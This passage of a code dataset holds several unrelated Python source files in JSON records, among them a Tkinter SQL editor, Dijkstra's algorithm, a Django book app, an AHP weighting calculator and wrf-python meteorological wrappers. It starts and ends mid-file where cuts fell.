ayuda\n ayuda=Menu(barraDeMenu, tearoff=0)\n #lista de ayuda\n ayuda.add_command(label=\"Documentación de TytuSQL\")\n ayuda.add_command(label=\"Acerca de TytuSQL\")\n\n #Se agrgan los menús a la barra\n barraDeMenu.add_cascade(label=\"Archivo\",menu=archivo)\n barraDeMenu.add_cascade(label=\"Editar\",menu=editar)\n barraDeMenu.add_cascade(label=\"Herramientas\",menu=tools)\n barraDeMenu.add_cascade(label=\"Ayuda\",menu=ayuda)\n #Se indica que la barra de menú debe estar en la ventana\n return barraDeMenu\n\ndef abrir():\n global archivo\n global notebook\n global control\n archivo = filedialog.askopenfilename(title = \"Abrir Archivo\")\n if archivo != '':\n name = os.path.basename(archivo)\n añadir(name)\n lenguaje = pathlib.Path(archivo).suffix\n entrada = open(archivo, encoding=\"utf-8\")\n content = entrada.read()\n textos[control-1].text.insert(tk.INSERT, content)\n entrada.close()\n notebook.select(control-1)\ndef guardarArchivo():\n global archivo\n idx = 0\n if notebook.select():\n idx = notebook.index('current')\n if archivo == \"\":\n guardarComo()\n else:\n guardarc = open(archivo, \"w\", encoding=\"utf-8\")\n guardarc.write(textos[idx].text.get(1.0, END))\n guardarc.close()\n\ndef guardarComo():\n global archivo\n idx = 0\n if notebook.select():\n idx = notebook.index('current')\n guardar = filedialog.asksaveasfilename(title = \"Guardar Archivo\")\n if guardar != '':\n fguardar = open(guardar, \"w+\", encoding=\"utf-8\")\n fguardar.write(textos[idx].text.get(1.0, END))\n fguardar.close()\n archivo = guardar\n\ndef CrearVentana():\n raiz = Tk()\n #Configuracion de ventana\n raiz.title(\"TytuSQL\") #Cambiar el nombre de la ventana\n #raiz.iconbitmap('resources/icon.ico')\n raiz.rowconfigure(0, minsize=800, weight=1)\n raiz.columnconfigure(1, minsize=800, weight=1)\n raiz.config(menu=CrearMenu(raiz), background='silver')\n\n #Frame del Arbol\n FrameIzquiero = Frame(raiz, relief=RAISED, bd=2)\n FrameIzquiero.pack(side=\"left\", fill=\"both\")\n #Se llama a la clase Arbol\n Arbol(FrameIzquiero)\n\n #Boton para realizar consulta\n Button(raiz, text=\"Enviar Consulta\").pack(side=\"top\",fill=\"both\")\n #Consola de Salida\n consola = Text(raiz)\n consola.pack(side=\"bottom\",fill=\"both\")\n consola.insert(1.0,\"Consola de Salida\")\n consola.config(state=DISABLED)\n ###### CREAMOS EL PANEL PARA LAS PESTAÑAS ########\n global notebook\n global control\n notebook=ttk.Notebook(raiz)\n notebook.pack(side=\"right\", fill=\"both\", expand=True)\n añadir('Nuevo')\n raiz.mainloop()\n\ndef añadir(titulo):\n global control\n global notebook\n formularios.append(Frame(notebook,bg=\"white\"))\n contador=control\n notebook.add(formularios[contador], text=titulo)\n valor=Campo(formularios[contador])\n valor.pack(side=\"left\", fill=\"both\",expand=True)\n vsb=Scrollbar(formularios[contador],orient=\"vertical\",command=valor.text.yview)\n valor.text.configure(yscrollcommand=vsb.set)\n vsb.pack(side=\"right\",fill=\"y\")\n textos.append(valor)\n contador=control+1\n control=contador\n\ndef cerrarPestaña():\n global notebook\n global control\n b=notebook.select()\n a=notebook.index(b)\n notebook.forget(a)\n\ndef main():\n CrearVentana()\nif __name__ == \"__main__\":\n main()\n","sub_path":"client/team04/ventana.py","file_name":"ventana.py","file_ext":"py","file_size_in_byte":6424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"157999763","text":"import sys\n\nNUM_DAYS = 368\nBUCKETS_PER_DAY = 6\n\ndef findHigherThanAvg(inFNm, inFNm2, outFNm, num_time_buckets=NUM_DAYS*BUCKETS_PER_DAY):\n with open(outFNm, \"w\") as fOut:\n placeToFreq = {}\n with open(inFNm, \"r\") as fIn:\n for line in fIn:\n vals = line.strip().split(\" \")\n freq = int(vals[0])\n coords = vals[1].split(\",\")\n placeToFreq[tuple(coords)] = freq\n with open(inFNm2, \"r\") as fIn:\n for line in fIn:\n vals = line.strip().split(\" \")\n coords = vals[1].split(\",\")\n coords = (coords[0], coords[1])\n freq = float(vals[0])\n percent = freq/placeToFreq[coords]\n for i in range(1, len(vals)):\n fOut.write(\"%s,\" % vals[i])\n fOut.write(\"%f,%d\\n\" % (percent, freq))\n\nif __name__ == \"__main__\":\n findHigherThanAvg(sys.argv[1], sys.argv[2], sys.argv[3])\n","sub_path":"time_freq.py","file_name":"time_freq.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"448138116","text":"from xml.dom import minidom\n\n\ndef show(file):\n doc = minidom.parse(file)\n name = doc.getElementsByTagName(\"name\")[0]\n print(name.firstChild.data)\n books = doc.getElementsByTagName(\"book\")\n for book in books:\n sid = book.getAttribute(\"id\")\n author = book.getElementsByTagName(\"author\")[0]\n title = book.getElementsByTagName(\"title\")[0]\n genre = book.getElementsByTagName(\"genre\")[0]\n price = book.getElementsByTagName(\"price\")[0]\n print(\"ID: %s, Author: %s, Title: %s, Genre: %s, Price: %s\" %\n (sid, author.firstChild.data, title.firstChild.data, genre.firstChild.data, price.firstChild.data))\n\n\nshow(\"books.xml\")\n","sub_path":"Python2/Excercise3_DOM.py","file_name":"Excercise3_DOM.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"627447965","text":"\nfrom graph import Graph\nfrom heap import PriorityQueueUpdate\n\n\ndef optimal_path_dijksta(graph, source, destimation):\n pq = PriorityQueueUpdate()\n pq.enqueue(source, 0)\n source_vertex = graph.get_vertex(source)\n source_vertex.cost = 0\n path = []\n while pq.size() > 0:\n dest = pq.dequeue()\n dest_vertex = graph.get_vertex(dest.key)\n dest_vertex.visited = True\n\n if dest.key == destimation:\n current = dest_vertex\n path.append(destimation)\n while current.previous:\n path.insert(0, current.previous.name)\n current = current.previous\n\n return path, dest_vertex.cost\n\n for _, edge in dest_vertex.edges.items():\n if graph.get_vertex(edge.finish.name).visited is False:\n cost = dest_vertex.cost + edge.weight\n if cost < edge.finish.cost:\n edge.finish.cost = cost\n graph.get_vertex(edge.finish.name).cost = cost\n graph.get_vertex(edge.finish.name).previous = dest_vertex\n pq.enqueue(edge.finish.name, edge.finish.cost)\n\n return None\n\n\ng = Graph()\ng.add_vertex('A')\ng.add_vertex('B')\ng.add_vertex('C')\ng.add_vertex('D')\ng.add_vertex('E')\ng.add_vertex('F')\ng.add_vertex('G')\ng.add_vertex('H')\n\ng.add_edge('A', 'B', 20)\ng.add_edge('A', 'D', 80)\ng.add_edge('A', 'G', 20)\ng.add_edge('B', 'F', 10)\ng.add_edge('B', 'A', 20)\ng.add_edge('C', 'H', 20)\ng.add_edge('D', 'C', 10)\ng.add_edge('D', 'F', 40)\ng.add_edge('E', 'B', 80)\ng.add_edge('E', 'G', 30)\ng.add_edge('F', 'D', 40)\ng.add_edge('G', 'A', 20)\ng.add_edge('G', 'D', 120)\n\nprint(optimal_path_dijksta(g, 'E', 'H'))\n","sub_path":"python/graph/graph_dijkstra.py","file_name":"graph_dijkstra.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"361810925","text":"#!/usr/bin/python3\n\nimport os\nimport subprocess as sp\n\nenv_vars = dict(os.environ)\n\ncreate_file = ['echo', 'This is a message for:', env_vars[\"USER\"]]\n\nwith open(\"/tmp/file.out\", \"w\") as f:\n result = sp.call(create_file, stderr=sp.DEVNULL, stdout=f)\n if result == 0:\n print(\"Sucessfull!\")\n else:\n print(\"Error while processing command.\")\n","sub_path":"os/calling_commands.py","file_name":"calling_commands.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"127309482","text":"# -*- coding: utf-8 -*-\ndef KOLVO_KRIT(): #запрос количества критериев с проверкой\n i = True\n while i == True:\n print('\\n-----')\n N = input('* Введите количество критериев целым числом: ')\n \n if N == 'exit': break\n \n if N.isdigit() == True:\n N = int(N)\n break\n else:\n print('\\n** Необходимо целое число!')\n continue\n return N\n\n\ndef WHAT_VALUE(I,J): #запрос оценки критериев с проверкой\n i = True\n while i == True:\n print('\\n-----')\n print('* В методе Саати для оценки относительной важности критериев рекомендуется специальная шкала от 1 до 9, где:\\n** 1 - компонентs равной важности,\\n** 3 - умеренное превосходство,\\n** 5 - существенное превосходство,\\n** 7 - значительное превосходство,\\n** 9 - очень сильное превосходство.\\n** !!Значения 2, 4, 6, 8 - используются как промежуточные между двумя соседними компонентами.')\n print('\\n*** Относительная важность ритерия -№'+str(I)+' отностиельно -№'+str(J))\n VALUE = input('**** Введите оценку критериев ненулевым целым числом(от 1 до 9): ')\n \n if VALUE.isdigit() == True and int(VALUE) > 0 and int(VALUE) <= 9:\n break\n else:\n print('\\n***** Необходимо целое число от 1 до 9!')\n continue\n return VALUE\n\n\ndef MATRIX(N): #создание матрицы\n A = []\n N = N + 1\n for i in range(N):\n B = []\n for j in range(N): B.append(None)\n A.append(B)\n\n for i in range(N):\n for j in range(N):\n \n if A[i][j] != None: continue\n \n VALUE = 000\n \n if j == 0: VALUE = 'к№' + str(i) \n if i == 0: VALUE = 'к№' + str(j)\n \n if i == j: \n VALUE = 1\n if i == 0: VALUE = 'Кр '\n \n if VALUE == 000: VALUE = WHAT_VALUE(i,j) \n \n VALUE = str(VALUE)\n \n if VALUE.isdigit() == True: \n VALUE = round(float(VALUE),2)\n A[j][i] = round(1 / VALUE,2)\n \n A[i][j] = VALUE \n return A\n\n\ndef isint(value): #определение целое ли число\n try:\n float(value)\n return True\n except ValueError:\n return False\n\n\ndef isfloat(value): #определение дробно ли число\n try:\n float(value)\n return True\n except ValueError:\n return False\n\n\ndef WHAT_KOEF(A): #расчет коэфициентов\n all_sum = 0\n W = []\n for i in range(len(A)):\n W.append(0)\n if i == 0: continue\n \n for j in range(len(A)):\n OZENKA = A[i][j] \n\n if isfloat(OZENKA) == True or isint(OZENKA) == True:\n \n all_sum = all_sum + OZENKA\n \n W[i] = W[i] + OZENKA\n \n for i in range(len(A)): \n W[i] = W[i] / all_sum\n W[i] = round(W[i],2)\n return W\n \n \ndef PRINT_KOEF(W): #вывод коэфициентов\n print('\\n-----')\n print('Весовые коэффициенты критериев:')\n for i in range(len(W)):\n if i == 0: continue\n print('Критерий №' + str(i) + ' = ' + str(W[i]))\n\n\ndef PRINT_MATRIX(A): #вывод матрицы\n print('\\n-----')\n for i in range(len(A)):\n LINE = ''\n for j in range(len(A)): \n LINE = LINE + str(A[i][j]) + ' '\n print(LINE)\n\n\nrabota = True\nwhile rabota == True:\n print('\\n----------------')\n print('!!! Если необходимо завершить работу введите \"exit\" вместо количества критериев')\n \n n = KOLVO_KRIT() \n if n == 'exit': break\n a = MATRIX(n)\n PRINT_MATRIX(a)\n w = WHAT_KOEF(a)\n PRINT_KOEF(w)\n","sub_path":"analiz.py","file_name":"analiz.py","file_ext":"py","file_size_in_byte":4442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"561955960","text":"class Solution:\n def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n HashMap = {}\n for i in strs:\n B = list(i)\n B.sort()\n # print(B)\n current = \"\".join(B)\n HashMap[current] = [i] if current not in HashMap else HashMap[current] + [i]\n return [HashMap[i] for i in HashMap] \n","sub_path":"Week_02/lc49.py","file_name":"lc49.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"608508263","text":"import turtle\n'''\nfilename: recCircle.py\nlanguage: python3\nauthor: Alex Habermann hehe3301@gmail.com\npurpose: This program draws recursive circles with one circle at each four vertexs of the circle\n'''\n\n\ndef ready(rad):\n turtle.speed(0)\n turtle.ht()\n turtle.up()\n turtle.goto(0,-rad)\n turtle.down()\n turtle.colormode(1)\n turtle.bgcolor('black')\n turtle.pensize(1.1)\n\ndef drawcircle(depth,rad,maxdepth):\n if depth == 0:\n pass\n else:\n colorset(depth,maxdepth)\n turtle.circle(rad,90)\n drawcircle(depth-1,41.4*rad/100,maxdepth)\n colorset(depth,maxdepth)\n turtle.circle(rad,90)\n drawcircle(depth-1,41.4*rad/100,maxdepth)\n colorset(depth,maxdepth)\n turtle.circle(rad,90)\n drawcircle(depth-1,41.4*rad/100,maxdepth)\n colorset(depth,maxdepth)\n turtle.circle(rad,90)\n drawcircle(depth-1,41*rad/100,maxdepth)\n colorset(depth,maxdepth)\ndef colorset(depth,maxdepth):\n x,y=turtle.pos()\n R=((depth-1)/maxdepth)\n G=(x*x + y*y)/(300*300)\n B=((maxdepth-depth+1)/maxdepth)\n turtle.pencolor((R,G,B))\n \ndef main():\n rad=250\n depth=6\n# rad=int(input('What max radius do you want to use? '))\n# depth=int(input('What depth do you want to draw? '))\n ready(rad)\n drawcircle(depth,rad,depth)\n turtle.up()\n turtle.goto(-250,-250)\n turtle.down()\n turtle.write('Alex Habermann')\nmain()\n","sub_path":"recCircle.py","file_name":"recCircle.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"361081960","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import MainMenu\nfrom .forms import BookForm\nfrom django.http import HttpResponseRedirect\nfrom .models import Book\nfrom django.views.generic.edit import CreateView\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.urls import reverse_lazy\nfrom django.contrib.auth.decorators import login_required\n\n\nclass Register(CreateView):\n template_name = 'registration/register.html'\n form_class = UserCreationForm\n success_url = reverse_lazy('register-success')\n\n def form_valid(self, form):\n form.save()\n return HttpResponseRedirect(self.success_url)\n\n\ndef index(request):\n return render(request, \n 'bookMng/index.html',\n {\n 'item_list': MainMenu.objects.all()\n })\n\n\n@login_required(login_url=reverse_lazy('login'))\ndef all_books(request):\n books = Book.objects.all()\n\n for b in books:\n b.pic_path = b.picture.url[14:]\n\n return render(request,\n 'bookMng/all_books.html',\n {\n 'item_list': MainMenu.objects.all(),\n 'books': books,\n })\n\n\n@login_required(login_url=reverse_lazy('login'))\ndef my_books(request):\n books = Book.objects.filter(username=request.user)\n\n for b in books:\n b.pic_path = b.picture.url[14:]\n\n return render(request,\n 'bookMng/my_books.html',\n {\n 'item_list': MainMenu.objects.all(),\n 'books': books,\n })\n\n\n@login_required(login_url=reverse_lazy('login'))\ndef post_book(request):\n submitted = False\n if request.method == 'POST':\n form = BookForm(request.POST, request.FILES)\n if form.is_valid():\n # form.save()\n book = form.save(commit=False)\n try:\n book.username = request.user\n except Exception:\n pass\n book.save()\n return HttpResponseRedirect('/post_book?submitted=True')\n else:\n form = BookForm()\n if 'submitted' in request.GET:\n submitted = True\n\n return render(request,\n 'bookMng/post_book.html',\n {\n 'form': form,\n 'item_list': MainMenu.objects.all(),\n 'submitted': submitted\n })\n\n\n@login_required(login_url=reverse_lazy('login'))\ndef about_us(request):\n return render(request, 'bookMng/about_us.html')\n\n\n@login_required(login_url=reverse_lazy('login'))\ndef book_details(request, book_id):\n book = Book.objects.get(id=book_id)\n\n book.pic_path = book.picture.url[14:]\n return render(request,\n 'bookMng/book_details.html',\n {\n 'item_list': MainMenu.objects.all(),\n 'book': book,\n })\n\n\n@login_required(login_url=reverse_lazy('login'))\ndef book_delete(request, book_id):\n book = Book.objects.get(id=book_id)\n book.delete()\n\n return render(request,\n 'bookMng/book_delete.html',\n {\n 'item_list': MainMenu.objects.all(),\n })","sub_path":"bookMng/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"62630321","text":"from consts import Consts\nfrom parsing import Parsing\n\n\nclass Aux:\n\n @property\n def unique_tags_from_train_file(self) -> dict:\n tags_from_train = Parsing.parse_wtag_file_to_tags(\"../\" + Consts.PATH_TO_TRAINING)\n idx = 1\n tags_dict = {}\n for tag in tags_from_train:\n if tag not in tags_dict:\n tags_dict[tag] = idx\n idx += 1\n return tags_dict\n\n @property\n def unique_suffixes_and_prefixes(self):\n sentences, _ = Parsing().parse_wtag_file_to_lists(\"../\" + Consts.PATH_TO_TRAINING)\n words_in_train = set()\n for sentence in sentences:\n for word in sentence:\n words_in_train.add(word.lower())\n\n with open(\"prefix.txt\") as p:\n prefixes = {line.rstrip().lower()[:4] for line in p.readlines()}\n\n with open(\"suffix.txt\") as s:\n suffixes = set()\n for word in s.readlines():\n if len(word) > 4:\n suffixes.add(word[-4].rstrip().lower())\n else:\n suffixes.add(word.rstrip().lower())\n\n prefixes_in_train = set()\n suffixes_in_train = set()\n for word in words_in_train:\n for prefix in prefixes:\n if word.startswith(prefix):\n prefixes_in_train.add(prefix)\n for suffix in suffixes:\n if word.endswith(suffix):\n suffixes_in_train.add(suffix)\n\n return sorted(prefixes_in_train), sorted(suffixes_in_train)\n\n\nif __name__ == \"__main__\":\n tags = Aux().unique_tags_from_train_file\n print(\"tags:\", tags, \"\\namount:\", len(tags))\n # prefixes_output, suffixes_output = Aux().unique_suffixes_and_prefixes\n # print(\"prefixes:\", prefixes_output, \"\\namount:\", len(prefixes_output))\n # print(\"suffixes:\", suffixes_output, \"\\namount:\", len(suffixes_output))\n","sub_path":"utils/auxForTags.py","file_name":"auxForTags.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"218714155","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# vi: ts=4 sw=4\n\nfrom ..Protocols import *\n\n\n\nclass thumbnails_contrast(thumbnails):\n \n def __init__(self, name='thumbnails', **kwargs):\n \n self.name = self.__class__.__name__ if name is None else name\n \n self.default_ext = '.jpg'\n self.run_args = {\n 'crop' : 0.5,\n 'blur' : 1.0,\n 'resize' : 0.5,\n 'cmap' : mpl.cm.bone,\n }\n self.run_args.update(kwargs)\n \n\n @run_default\n def run(self, data, output_dir, **run_args):\n \n results = {}\n \n outfile = self.get_outfile(data.name, output_dir)\n data.plot_image(save=outfile, size=10*run_args['resize'], **run_args)\n \n return results\n \n","sub_path":"SciAnalysis/ImAnalysis/Flakes/Protocols.py","file_name":"Protocols.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"255865456","text":"# coding:utf-8\nfrom flask import jsonify,request\nfrom . import api\nfrom ..entity import MarketArea\n\n\n@api.route('/getmarketarea',methods=['POST'])\ndef getMarketArea():\n gid=request.args.get('gid',1,type=int)\n query = MarketArea.query.filter(MarketArea.gid == gid)\n if query is None:\n return jsonify({\n 'geom': 'None'\n })\n jsondata = []\n for marketarea in query:\n jsondata.append(marketarea.to_json())\n return jsonify({\n 'data': jsondata\n })\n","sub_path":"app/api/posts.py","file_name":"posts.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"584494375","text":"from __future__ import (absolute_import, division, print_function, \n unicode_literals)\n\nimport numpy as np\n\nfrom .constants import Constants\n\nfrom ._wrffortran import (dcomputetk, dinterp3dz, dinterp2dxy, dinterp1d,\n dcomputeseaprs, dfilter2d, dcomputerh, dcomputeuvmet,\n dcomputetd, dcapecalc3d, dcloudfrac, wrfcttcalc, \n calcdbz, dcalrelhl, dcalcuh, dcomputepv, \n dcomputeabsvort, dlltoij, dijtoll, deqthecalc,\n omgcalc, virtual_temp, wetbulbcalc, dcomputepw,\n wrf_monotonic, wrf_vintrp, dcomputewspd, \n dcomputewdir)\n\nfrom .decorators import (left_iteration, cast_type, \n extract_and_transpose, check_args)\nfrom .util import combine_dims, npbytes_to_str, psafilepath\nfrom .py3compat import py3range\nfrom .specialdec import (uvmet_left_iter, cape_left_iter, \n cloudfrac_left_iter, check_cape_args)\n\nclass DiagnosticError(Exception):\n \"\"\"Raised when an error occurs in a diagnostic routine.\"\"\"\n def __init__(self, message=None):\n \"\"\"Initialize a :class:`wrf.DiagnosticError` objection.\n \n Args:\n \n message (:obj:`str`): The error message.\n \n \"\"\"\n self._msg = message\n \n def __str__(self):\n return self._msg\n \n def __call__(self, message):\n \"\"\"Callable method to make the exception object raise itself.\n \n This allows the exception to be thrown from inside Fortran routines \n by using f2py's callback mechanism. This is no longer used within \n wrf-python, but may be useful to other users.\n \n See Also:\n \n `f2py doc `_\n \n \"\"\"\n raise self.__class__(message)\n\n# The routines below are thin wrappers around the Fortran functions. These \n# are not meant to be called by end users. Use the public API instead for \n# that purpose.\n\n# IMPORTANT! Unless otherwise noted, all variables used in the routines \n# below assume that Fortran-ordered views are being used. This allows\n# f2py to pass the array pointers directly to the Fortran routine.\n\n@check_args(0, 3, (3, 3, None, None))\n@left_iteration(3, 2, ref_var_idx=0, ignore_args=(2,3))\n@cast_type(arg_idxs=(0,1))\n@extract_and_transpose()\ndef _interpz3d(field3d, z, desiredloc, missingval, outview=None):\n \"\"\"Wrapper for dinterp3dz.\n \n Located in wrf_user.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty(field3d.shape[0:2], np.float64, order=\"F\")\n \n result = dinterp3dz(field3d, \n outview,\n z, \n desiredloc, \n missingval)\n return result\n\n\n@check_args(0, 3, (3,))\n@left_iteration(3, combine_dims([(0,-3),(1,-2)]), ref_var_idx=0, \n ignore_args=(1,))\n@cast_type(arg_idxs=(0,1))\n@extract_and_transpose()\ndef _interp2dxy(field3d, xy, outview=None):\n \"\"\"Wrapper for dinterp2dxy.\n \n Located in wrf_user.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty((xy.shape[-1], field3d.shape[-1]), np.float64, \n order=\"F\")\n \n result = dinterp2dxy(field3d,\n outview,\n xy)\n return result\n\n\n@check_args(0, 1, (1,1,None,None))\n@left_iteration(1, combine_dims([(2,0)]), ref_var_idx=0, ignore_args=(2,3))\n@cast_type(arg_idxs=(0,1,2))\n@extract_and_transpose()\ndef _interp1d(v_in, z_in, z_out, missingval, outview=None):\n \"\"\"Wrapper for dinterp1d.\n \n Located in wrf_user.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty_like(z_out)\n\n result = dinterp1d(v_in,\n outview,\n z_in,\n z_out,\n missingval)\n \n return result\n\n\n@left_iteration(3, combine_dims([(3,0), (1,0)]), \n ref_var_idx=0, ignore_args=(1,3,4))\n@cast_type(arg_idxs=(0,))\n@extract_and_transpose(do_transpose=False)\ndef _vertcross(field3d, xy, var2dz, z_var2d, missingval, outview=None):\n \"\"\"Return the vertical cross section.\n \n This routine was originally written in scripted NCL code and doesn't \n directly wrap a Fortran routine.\n \n Located in WRFUserARW.ncl.\n \n \"\"\"\n # Note: This is using C-ordering\n if outview is None:\n outview = np.empty((z_var2d.shape[0], xy.shape[0]), dtype=var2dz.dtype)\n \n var2dtmp = _interp2dxy(field3d, xy)\n \n for i in py3range(xy.shape[0]):\n outview[:,i] = _interp1d(var2dtmp[:,i], var2dz[:,i], z_var2d, \n missingval)\n \n return outview\n\n\n@left_iteration(2, combine_dims([(1,0)]), ref_var_idx=0, ignore_args=(1,))\n@cast_type(arg_idxs=(0,))\n@extract_and_transpose(do_transpose=False)\ndef _interpline(field2d, xy, outview=None):\n \"\"\"Return the two-dimensional field interpolated to a line.\n \n This routine was originally written in scripted NCL code and doesn't \n directly wrap a Fortran routine.\n \n Located in WRFUserARW.ncl.\n \n \"\"\"\n # Note: This is using C-ordering\n if outview is None:\n outview = np.empty(xy.shape[0], dtype=field2d.dtype)\n\n tmp_shape = (1,) + field2d.shape\n var2dtmp = np.empty(tmp_shape, field2d.dtype)\n var2dtmp[0,:,:] = field2d[:,:]\n \n var1dtmp = _interp2dxy(var2dtmp, xy)\n \n outview[:] = var1dtmp[0, :]\n \n return outview\n\n\n@check_args(0, 3, (3,3,3,3)) \n@left_iteration(3, 2, ref_var_idx=0)\n@cast_type(arg_idxs=(0,1,2,3))\n@extract_and_transpose()\ndef _slp(z, t, p, q, outview=None):\n \"\"\"Wrapper for dcomputeseaprs.\n \n Located in wrf_user.f90.\n \n \"\"\"\n t_surf = np.zeros(z.shape[0:2], np.float64, order=\"F\")\n t_sea_level = np.zeros(z.shape[0:2], np.float64, order=\"F\")\n level = np.zeros(z.shape[0:2], np.int32, order=\"F\")\n \n if outview is None:\n outview = np.empty(z.shape[0:2], np.float64, order=\"F\")\n \n errstat = np.array(0)\n errmsg = np.zeros(Constants.ERRLEN, \"c\")\n \n result = dcomputeseaprs(z,\n t,\n p,\n q,\n outview,\n t_sea_level,\n t_surf,\n level,\n errstat=errstat,\n errmsg=errmsg)\n \n if int(errstat) != 0:\n raise DiagnosticError(\"\".join(npbytes_to_str(errmsg)).strip())\n \n return result\n\n\n@check_args(0, 3, (3,3))\n@left_iteration(3, 3, ref_var_idx=0)\n@cast_type(arg_idxs=(0,1))\n@extract_and_transpose()\ndef _tk(pressure, theta, outview=None):\n \"\"\"Wrapper for dcomputetk.\n \n Located in wrf_user.f90.\n \n \"\"\"\n # No need to transpose here since operations on 1D array\n shape = pressure.shape\n if outview is None: \n outview = np.empty_like(pressure)\n result = dcomputetk(outview.ravel(order=\"A\"),\n pressure.ravel(order=\"A\"), \n theta.ravel(order=\"A\"))\n result = np.reshape(result, shape, order=\"F\")\n \n return result \n\n\n@check_args(0, 2, (2,2))\n@left_iteration(2, 2, ref_var_idx=0)\n@cast_type(arg_idxs=(0,1))\n@extract_and_transpose()\ndef _td(pressure, qv_in, outview=None):\n \"\"\"Wrapper for dcomputetd.\n \n Located in wrf_user.f90.\n \n \"\"\"\n shape = pressure.shape\n if outview is None:\n outview = np.empty_like(pressure)\n \n result = dcomputetd(outview.ravel(order=\"A\"),\n pressure.ravel(order=\"A\"), \n qv_in.ravel(order=\"A\"))\n result = np.reshape(result, shape, order=\"F\")\n \n return result\n\n\n@check_args(0, 2, (2,2,2))\n@left_iteration(2, 2, ref_var_idx=0)\n@cast_type(arg_idxs=(0,1,2))\n@extract_and_transpose()\ndef _rh(qv, q, t, outview=None):\n \"\"\"Wrapper for dcomputerh.\n \n Located in wrf_user.f90.\n \n \"\"\"\n shape = qv.shape\n if outview is None:\n outview = np.empty_like(qv)\n result = dcomputerh(qv.ravel(order=\"A\"),\n q.ravel(order=\"A\"),\n t.ravel(order=\"A\"),\n outview.ravel(order=\"A\"))\n result = np.reshape(result, shape, order=\"F\")\n \n return result\n\n\n# Note: combining the -3 and -2 dimensions from u, then the -1 dimension \n# from v\n@check_args(0, 3, (3,3,2,2,2,2), stagger=(-1,-2,-1,-2,None,None),\n refstagdim=-1)\n@left_iteration(3, combine_dims([(0, (-3,-2)), \n (1, (-1,))]), \n ref_var_idx=0, ignore_args=(6,7))\n@cast_type(arg_idxs=(0,1,2,3,4,5))\n@extract_and_transpose()\ndef _avo(u, v, msfu, msfv, msfm, cor, dx, dy, outview=None):\n \"\"\"Wrapper for dcomputeabsvort.\n \n Located in wrf_pvo.f90.\n \n \"\"\"\n if outview is None:\n outshape = (v.shape[0],) + u.shape[1:]\n outview = np.empty(outshape, np.float64, order=\"F\")\n \n result = dcomputeabsvort(outview,\n u,\n v,\n msfu,\n msfv,\n msfm,\n cor,\n dx,\n dy)\n \n return result\n\n\n@check_args(0, 3, (3,3,3,3,2,2,2,2), stagger=(-1,-2,None,None,-1,-2,None, \n None),\n refstagdim=-1)\n@left_iteration(3, 3, ref_var_idx=2, ignore_args=(8,9))\n@cast_type(arg_idxs=(0,1,2,3,4,5,6,7))\n@extract_and_transpose()\ndef _pvo(u, v, theta, prs, msfu, msfv, msfm, cor, dx, dy, outview=None):\n \"\"\"Wrapper for dcomputepv.\n \n Located in wrf_pvo.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty_like(prs)\n \n result = dcomputepv(outview,\n u,\n v,\n theta,\n prs,\n msfu,\n msfv,\n msfm,\n cor,\n dx,\n dy)\n \n return result\n\n\n@check_args(0, 3, (3,3,3))\n@left_iteration(3, 3, ref_var_idx=0)\n@cast_type(arg_idxs=(0,1,2))\n@extract_and_transpose()\ndef _eth(qv, tk, p, outview=None):\n \"\"\"Wrapper for deqthecalc.\n \n Located in eqthecalc.f90.\n \n \"\"\"\n if outview is None:\n outview = np.empty_like(qv)\n \n result = deqthecalc(qv,\n tk,\n p,\n outview)\n \n return result\n\n\n@uvmet_left_iter()\n@cast_type(arg_idxs=(0,1,2,3))\n@extract_and_transpose()\ndef _uvmet(u, v, lat, lon, cen_long, cone, isstag=0, has_missing=False, \n umissing=Constants.DEFAULT_FILL, vmissing=Constants.DEFAULT_FILL, \n uvmetmissing=Constants.DEFAULT_FILL, outview=None):\n \"\"\"Wrapper for dcomputeuvmet.\n \n Located in wrf_user.f90.\n \n \"\"\"\n longca = np.zeros(lat.shape[0:2], np.float64, order=\"F\")\n longcb = np.zeros(lon.shape[0:2], np.float64, order=\"F\")\n rpd = Constants.PI/180.\n \n if outview is None:\n outdims = u.shape + (2,)\n outview = np.empty(outdims, np.float64, order=\"F\")\n \n result = dcomputeuvmet(u,\n v,\n outview,\n longca,\n longcb,\n lon,\n lat,\n cen_long,\n cone,\n rpd,\n isstag, \n has_missing,\n umissing,\n vmissing,\n uvmetmissing)\n \n return result\n\n\n@check_args(0, 3, (3,3,3,3))\n@left_iteration(3, 3, ref_var_idx=0)\n@cast_type(arg_idxs=(0,1,2,3))\n@extract_and_transpose()\ndef _omega(qv, tk, w, p, outview=None):\n \"\"\"Wrapper for omgcalc.\n \n Located in wrf_rip_phys_routines.f90.\n \n \"\"\"\n if outview is None:\n outview = 